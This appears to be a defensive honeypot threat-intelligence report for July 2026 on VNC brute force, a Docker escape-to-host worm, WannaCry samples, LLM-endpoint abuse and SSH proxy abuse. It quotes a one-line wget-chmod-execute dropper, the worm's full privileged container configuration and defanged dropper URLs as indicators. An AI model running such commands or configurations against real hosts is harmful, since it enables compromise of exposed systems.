

TLP:CLEAR

Honeypot-Based Threat Intelligence

Monthly Report — July 2026

Distributed VNC Brute Force | Docker Worm / Escape-to-Host | WannaCry Returns | LLM Abuse | SSH Proxy Abuse

Parameter	Value
Reporting period	1-31 July 2026 (2026-07-01 — 2026-08-01 UTC)
Analysis date	4 August 2026
Classification	TLP:CLEAR
Threat level	MEDIUM-HIGH
Honeypot nodes	DE, US, RU + IEC-104 (ICS/OT) decoy
Event volume	~2,700,000 attack sessions/requests across all services
SSH events	657,706 sessions, 554,964 failed logins, 351 payload downloads
VNC events	1,256,816 connections, 193,552 password-guessing attempts
Malware samples	222 unique SHA-256 (199 malicious, 23 suspicious)

1. Executive summary

During July 2026 our distributed honeypot sensors (Germany, the United States and Russia) together with an IEC-104 (ICS/OT) industrial-protocol decoy recorded approximately 2,700,000 attack sessions and requests across SSH, VNC, multi-protocol exploitation, Docker, LLM, MikroTik and Kubernetes surfaces. On the classic part of the fleet (SSH, Docker, LLM and adjacent surfaces) volume rose 58% over June, with every category growing without exception.

The headline development is a sustained distributed VNC password-guessing campaign. The decoy absorbed 1,256,816 connections and 193,552 authentication attempts, and the work was split almost perfectly across thirteen addresses — each making roughly 10,300 to 10,600 attempts. The campaign core is thirty addresses in a single autonomous system, spread across nine /24 blocks in three non-adjacent ranges, and it carries roughly two thirds of the total load — which makes the ASN a practical unit of blocking.

The second story is an escalation of the Docker escape-to-host worm we described in the June report. Same operator, same second stage, but the container configuration it requests has become maximally aggressive: full privileges, all capabilities, every namespace shared with the host, and seccomp/AppArmor profiles disabled. Third is the return of Windows malware: 63 of 222 captured samples were WannaCry PE32 DLLs delivered over the SMB surface, whereas June had been almost entirely ELF worms.

Two qualitative shifts deserve separate mention. LLM-endpoint abuse moved from inventory to consumption — the /v1/chat/completions path overtook /api/tags for the first time, and the two leading sources sat on consumer ISPs rather than cloud platforms. And a vector we had not previously observed appeared: after a successful login, attackers test the honeypot as an open SSH proxy by relaying probe traffic to public DNS resolvers and major web portals.

Finally, an important negative result. For the second month running the IEC-104 decoy received not a single control command from external attackers — only connections and data-point enumeration. Meanwhile the remote-desktop surface of the same node came under massive password guessing. The practical conclusion: the real entry vector into an operational-technology segment is not the industrial protocol itself, but the remote-access tooling used by staff.

2. Volume summary

SSH (Cowie), exact counters:

Metric	DE	US	RU	Total	June
Sessions	239,027	183,778	234,901	657,706	497,929
Successful logins	12,352	2,379	2,943	17,674	19,706
Failed logins	190,157	171,251	193,556	554,964	433,721
Shell commands	4,617	3,181	2,639	10,437	7,590
Payload downloads	188	163	0	351	516
SFTP uploads	31	18	0	49	—
Proxy relay requests	22,828	1,138	1,826	25,792	—

Unique SSH sources for the month: 18,564. Other services: Dionaea (SMB/MSSQL/MySQL/FTP/SIP) 484,296 events (+115% MoM); Docker API 185,347 (+56%); Ollama (LLM) 28,610 (+71%); Winbox (MikroTik) 10,017 (+46%); Kubelet 3,634 (+13%). No successful Kubelet RCE was observed during the month.

The Russian node received exactly zero payload downloads for the fourth consecutive month, despite entirely normal brute-force volume and reconnaissance commands (uname). This is stable behaviour rather than a sensor failure: attackers reach a shell, fingerprint the architecture, and never proceed to delivery. There are three plausible explanations: honeypot detection by specific bot families, egress filtering on the provider side, or the dropper servers themselves being unreachable from Russian networks — several of them sit with providers that geo-fence their own traffic.

The industrial-protocol decoy is counted separately: 1,256,816 VNC connections, 193,552 VNC authentication attempts, 56,702 requests to the device web interface, 10,027 SNMP queries and 2,156 IEC-104 events. The ratio is telling — for every external request against the industrial protocol there were more than a thousand connections to the same node's remote-desktop surface.

3. Finding 1 — Distributed VNC password guessing (headline)

The largest campaign of the month targeted the VNC surface (port 5900) of the industrial-segment decoy: 1,256,816 connections and 193,552 authentication attempts using the VNC DES challenge-response scheme. It ran throughout the month without noticeable pauses.

The defining characteristic is not the volume but the structure. Thirteen addresses made almost identical numbers of attempts — between 9,758 and 10,591 each, a spread of under 9%. Such uniformity does not arise among independent scanners; it points to a single orchestrator splitting a dictionary into equal shares. Strictly speaking this remains a working hypothesis — an off-the-shelf tool that load-balances across workers would produce the same pattern. Confirming it requires comparing the dictionaries themselves, not the arithmetic of the shares. Twelve of those thirteen addresses belong to one autonomous system (AS398019). Thirty of its addresses were active over the month, spread across nine /24 blocks in three non-adjacent ranges: 140[.]235[.]17-19[.]x, 207[.]174[.]1-3[.]x and 72[.]51[.]56-59[.]x. Spreading across non-adjacent ranges is a standard move against prefix-based blocking, but it does not help here: the shared ASN remains a reliable signal.

The remaining load is split between three DigitalOcean droplets (3,300-4,000 attempts each), one address at a Taiwanese provider, and a long tail of cloud addresses at roughly 200 attempts apiece. One address at a European consumer ISP worked at the same rate as the campaign core (9,821 attempts): either an infected home device within the same botnet, or a rented residential proxy. Consumer-ISP addresses are not included in the published indicators.

AS398019 accounts for 126,441 of 193,552 authentication attempts (65%) and 789,478 of 1,256,816 connections (63%): blocking that autonomous system outright would have removed about two thirds of the load in July. The recommendation for defenders is straightforward — VNC must not be reachable from the internet, and where remote desktop access is required it belongs behind a VPN with multi-factor authentication.

4. Finding 2 — Docker-API worm: privilege escalation

The decoy Docker API received 185,347 requests. A single operator, 45[.]198[.]224[.]5 (AS215925, VPSVAULT.HOST LTD), accounted for 73.6% of them; in July a second address from the same /24 joined it — 45[.]198[.]224[.]26 (11.6%). Together, one /24 is responsible for 85% of the fleet-wide Docker surface. There were 2,479 unique Docker sources for the month, meaning the remaining 15% is a long tail of scanners.

The delivery mechanism is unchanged: POST /v1.43/containers/create (23,590 times) followed by /start (23,683), with a base64 command in the body that is decoded to a script, written onto the mounted host filesystem and executed via chroot. The second stage resolves to the same download host as in June (withheld from public indicators as it remains live).

What changed — and changed drastically — is the container configuration. The June variant simply bind-mounted the host filesystem to /mnt. The July variant requests: Privileged: true; CapAdd: [ALL, SYS_ADMIN]; PidMode, IpcMode and NetworkMode set to host; SecurityOpt: seccomp=unconfined, apparmor=unconfined, label=disable; Binds of / to /host and /dev to /dev; User: root. This is not an escape through a single gap — it is a request to drop every isolation layer at once. Any host exposing an unauthenticated Docker API to the internet is fully and immediately compromised by such a request.

Method breakdown for the month: POST 149,234, GET 9,108, DELETE 71, PUT 18. Client HTTP fingerprints (JA4H) cluster into two stable groups, confirming a single worm codebase rather than a set of unrelated scanners. In botnet telemetry the second-stage host was the most active node of the month at 2,467 contacts — an order of magnitude above any other C2.

5. Finding 3 — WannaCry returns and malware volume triples

222 unique samples versus 70 in June: 199 malicious, 23 suspicious. Sources: Cowrie (113), Dionaea (72), harvested droppers (15) and archival backfill (22).

The profile is mixed again. 63 samples are PE32 DLLs arriving over the SMB surface that matched the WannaCry rule; 53 of them are independently confirmed by the ClamAV signature Win.Ransomware.Wanna, while the remaining ten resolve to other Windows families or go unidentified. This is a return to the May picture after an almost entirely ELF-worm June. The rest of the stream is Linux worms: Go_SSHWorm_Generic (25), Discord_C2_ELF (24), Panchan_SSHWorm_Go (21), UPX-packed ELF (35), Mirai (3). Architecture coverage is broad: beyond x86/x86-64 and ARM the set includes MIPS in both byte orders, RISC-V, Renesas SH, LoongArch and m68k.

An important operational observation: the ClamAV signature engine started producing results again — 98 detections out of 222 (44%). In May and June it identified zero samples out of 126 and 70 respectively, with all detection resting on YARA and imphash. This is not merely an artefact of Windows samples returning: of the 98 detections, 60 are PE32 and 38 are ELF (Unix.Trojan.Mirai, Coinminer, Dropper.Mirai), meaning the engine sees the Linux stream again as well. A Panchan sample that matched only YARA in June is now flagged as Unix.Trojan.Coinminer. The practical takeaway: the signature layer is not useless, but it lags the live stream by weeks and cannot be relied on as the sole control.

Principal droppers (by Cowrie downloads):

Dropper	Downloads	Profile
---------	-----------	---------

91[.]199[.]133[.]133:8080/deploy.sh	40	shell loader
41[.]216[.]189[.]157/run.sh + /bins/*	34	multi-arch, 17 architectures
91[.]92[.]42[.]213/phantom.sh + /bins/phantom.*	28	multi-arch (x86/mips/mpsl/arm)
94[.]154[.]43[.]88/ohshit.sh	24	shell loader + anonymous ftpget
31[.]56[.]209[.]153/bins.sh + /nz/nz.*	24	multi-arch
45[.]142[.]142[.]140:8443/dropper_arm _x86	17	carried over from June
156[.]226[.]174[.]98/bins.sh	12	shell loader
103[.]161[.]17[.]92/hiddenbin/boatnet.*	10	multi-arch
github.com/xmrig/xmrig/releases/...	3	XMRig miner from the official release

Two techniques are worth calling out. First, pulling XMRig directly from an official GitHub release: reputation lists and domain blocking are powerless here. Second, 49 files between 6 and 16 MB uploaded over SFTP after a successful login, bypassing wget/curl entirely. This channel defeats any detection built on extracting dropper URLs from shell commands.

6. Finding 4 — LLM abuse: from inventory to consumption

28,610 events on the Ollama decoy (+71% MoM) from 1,278 unique sources. The qualitative shift is visible in the path distribution: /v1/chat/completions took first place (1,803 requests), overtaking /api/tags (1,227) which had led in previous months. Next come /api/version (1,014), /api/generate (626), /v1/models (340), /api/chat (140) and /v1/embeddings (72). In plain terms, attackers increasingly skip enumerating open servers and go straight to running workloads through them.

Accordingly the inference_abuse category grew from roughly 17% in June to about 31% in July. Requests mostly target local models (qwen2.5:7b, llama3.1:8b, codellama:13b), but attempts to use the open server as a free gateway to paid cloud models persist. SSRF against cloud metadata has all but disappeared — 7 events for the month.

Tooling: python-requests, Go-http-client, python-httpx, node-fetch (June's leader, now fourth), axios, aiohttp, plus commercial AI-asset scanners and zgrab. A notable observation on sources: the two leading addresses of the month belong to consumer providers — a European mobile operator and a satellite provider — rather than cloud platforms. This makes sense for long generation sessions, but it breaks the familiar heuristic that attacks arrive from datacentre VPS. Consumer-ISP addresses are not included in the published indicators.

7. Finding 5 — Honeypots as open SSH proxies

A vector new to our telemetry: 25,792 TCP forwarding requests (direct-tcpip), 89% of them on the German node. After a successful login the attacker does not launch malware — instead they attempt to use the host as a proxy and verify that it works: 2,913 requests to a public DNS resolver on port 53, then heavy port-80 traffic toward Microsoft, Google and Yahoo infrastructure.

This is the standard validation routine before access is resolved: a compromised server is checked for suitability as a proxy node and enters a commercial residential or datacentre proxy pool. The practical implication for defenders is that a successful SSH brute-force does not necessarily end in a miner or a botnet implant, and the absence of a malicious file on the host does not mean the access was not monetised. In this scenario the indicator of compromise is outbound TCP forwarding from sshd, not a foreign process.

8. SSH: sources, dictionaries, reconnaissance

The most active brute-force sources for the month: 45[.]148[.]10[.]183 and 45[.]148[.]10[.]240 (cluster carried over from June), 94[.]154[.]43[.]243 and 94[.]154[.]43[.]181 (AS219502), 195[.]178[.]110[.]30 and 195[.]178[.]110[.]228 (AS48090, a known bulletproof profile), 128[.]199[.]25[.]179 and 188[.]166[.]209[.]30 (DigitalOcean), 103[.]102[.]153[.]9 (Indonesia), 179[.]43[.]133[.]154 (Panama), 45[.]156[.]87[.]254 (carried over from May).

The 94[.]154[.]43[.]0/24 subnet deserves attention: it appears both among the top brute-forcers and as dropper hosting (94[.]154[.]43[.]88, 94[.]154[.]43[.]192). That points to a self-contained operation where password guessing and payload delivery run from the same infrastructure.

Dictionaries: root dominates (108,518 attempts), followed by admin, ubuntu, user, deploy, test, postgres, dev, pi and debian. Thematic entries persist: the username claudie (782) for the second month running, as bots hunt for hosts with deployed AI agents; sol and solana (771 and 660), showing that Solana validator targeting continues but has weakened markedly against June (5,906 attempts on the sol username).

Passwords remain the classic breach-list top.

Post-login commands: architecture fingerprinting (uname -m, /bin/./uname -s -v -n -r -m), reading /proc/self/exe to identify a busybox environment, and one-line droppers of the form wget <host>/nerv.x86_64 -O /tmp/n; chmod 777 /tmp/n; /tmp/n &.

9. The IEC-104 decoy: reconnaissance without a single command

The IEC-104 industrial-protocol decoy recorded 2,156 events for the month, of which external traffic accounted for 986 connections, 87 General Interrogation requests (enumeration of ASDU data points) and 8 malformed frames. Control commands from external sources: zero. This is the second full month of observation with an identical result.

The source profile confirms the reading: hundreds of addresses at 2-60 connections each, with no concentrated actor anywhere. The overwhelming majority are cloud platforms (Linode/Akamai, AWS, DigitalOcean, Alibaba) and well-known research scanners (Censys, Shadowserver). This is a mass census of internet-reachable industrial devices, not preparation for interference with a physical process.

The contrast with the previous section is the central practical finding of this report. For every external request against the industrial protocol there were more than a thousand connections to the same node's remote-desktop surface, and the password guessing targeted precisely that surface. A threat model focused on protecting industrial protocols is misaligned with observed reality: attackers are not looking for a flaw in IEC-104, they are looking for unsecured remote access belonging to an engineer or a contractor. Priority should go to inventorying and closing remote-access tooling in the operational-technology segment.

10. Geography and operators

Source-country distribution: the United States, China and the Netherlands form the core, followed by Russia, India, Hong Kong, Germany, Romania, Singapore and Vietnam. India entered the top five for the first time in July.

By operator, the bulk of volume still comes from legitimate clouds — DigitalOcean by a wide margin, then OVH, Alibaba Cloud and AWS. These are rented VPS botnets, not attacker-owned infrastructure.

Bulletproof-reputation providers and sanctioned platforms account for fractions of a percent of total volume, yet they carry the targeted load: the Docker worm operator generated 85% of the entire Docker surface for the month while remaining nearly invisible in session-count statistics. The practical takeaway is that ranking operators by session count systematically underweights narrowly specialised actors; actor weight should be assessed by request volume.

11. Botnet campaigns

Seven campaigns were tracked during the month, covering 133 attacking addresses (June: 78). Besides the Docker worm second-stage host, the following remained consistently active: 217[.]60[.]195[.]113 (AS209373, UAE) — the largest by subordinate node count, carried over from June; 94[.]183[.]185[.]66 (AS56971); 178[.]128[.]14[.]204 (DigitalOcean); 217[.]76[.]63[.]67 (Contabo); 89[.]208[.]113[.]218 (AS210644, a sanctioned operator).

Session categories by size: LLM abuse was the largest category of the month, followed by reconnaissance, Docker worm activity, malware delivery, MikroTik reconnaissance, credential theft, miners, SSH persistence and reverse shells.

12. Recommendations

- Do not expose VNC to the internet. Where remote desktop access is required, place it behind a VPN with multi-factor authentication. Classic VNC authentication is capped at an eight-character password and does not withstand distributed guessing at this scale.
- Aggregate failed login attempts by prefix and autonomous system, not by IP alone. Distributed guessing split evenly across dozens of addresses stays under the threshold on every individual IP and slips past classic fail2ban.
- In operational-technology segments, start the inventory with remote-access tooling rather than industrial protocols. Observed load against the remote-desktop surface exceeded external load against IEC-104 by more than a thousand to one.
- The Docker API must never be reachable from the internet. Where remote management is required, use TLS with client certificates and an address allowlist. Separately verify that port 2375 is closed on every node, including test systems.
- Alert on container creation with Privileged: true, CapAdd: ALL/SYS_ADMIN, host namespace modes, or root filesystem mounts. This combination does not occur in legitimate operation and is sufficient on its own as an indicator of compromise.
- Do not rely on signature antivirus as the sole control for Linux workloads: it identified nothing in the May and June streams, and under half in July.
- Monitor outbound TCP forwarding from sshd. Successful brute-force is increasingly monetised through resale of proxy access, and in that scenario no malicious file ever appears on the host.
- Do not expose LLM endpoints (Ollama, llama.cpp and compatible servers) without authentication. An open server will be consumed for third-party workloads and used as a gateway to paid cloud models at your expense.
- Disable SSH password authentication. The overwhelming majority of the stream is dictionary attacks, fully neutralised by moving to keys.
- Account for SFTP as a delivery channel: detection built only on dropper URLs in shell commands misses binaries uploaded directly over SFTP after a successful login.

13. MITRE ATT&CK

- T1595.002 — Active Scanning: Vulnerability Scanning
- T1110.001 — Brute Force: Password Guessing
- T1021.005 — Remote Services: VNC
- T1046 — Network Service Discovery
- T1190 — Exploit Public-Facing Application
- T1610 — Deploy Container
- T1611 — Escape to Host
- T1105 — Ingress Tool Transfer
- T1027.002 — Obfuscated Files or Information: Software Packing
- T1090 — Proxy
- T1496 — Resource Hijacking
- T1021.004 — Remote Services: SSH
- T1552.005 — Unsecured Credentials: Cloud Instance Metadata API
- T0846 — Remote System Discovery (ICS, IEC-104 connections)
- T0888 — Remote System Information Discovery (ICS, General Interrogation)

14. Indicators of Compromise (IOCs)

Machine-readable dumps — iocs.stix2.json (STIX 2.1) and iocs.misp.json (MISP) — ship alongside this report. Indicators are defanged in human-readable documents and refanged in the JSON bundles. The Docker worm second-stage host is deliberately withheld from these indicators and from external community feeds because it remains live. Consumer-ISP addresses — observed both as LLM-abuse sources and as one node of the VNC campaign — are likewise not published, as they most likely represent compromised home devices.

TLP:CLEAR — This document may be distributed without restriction.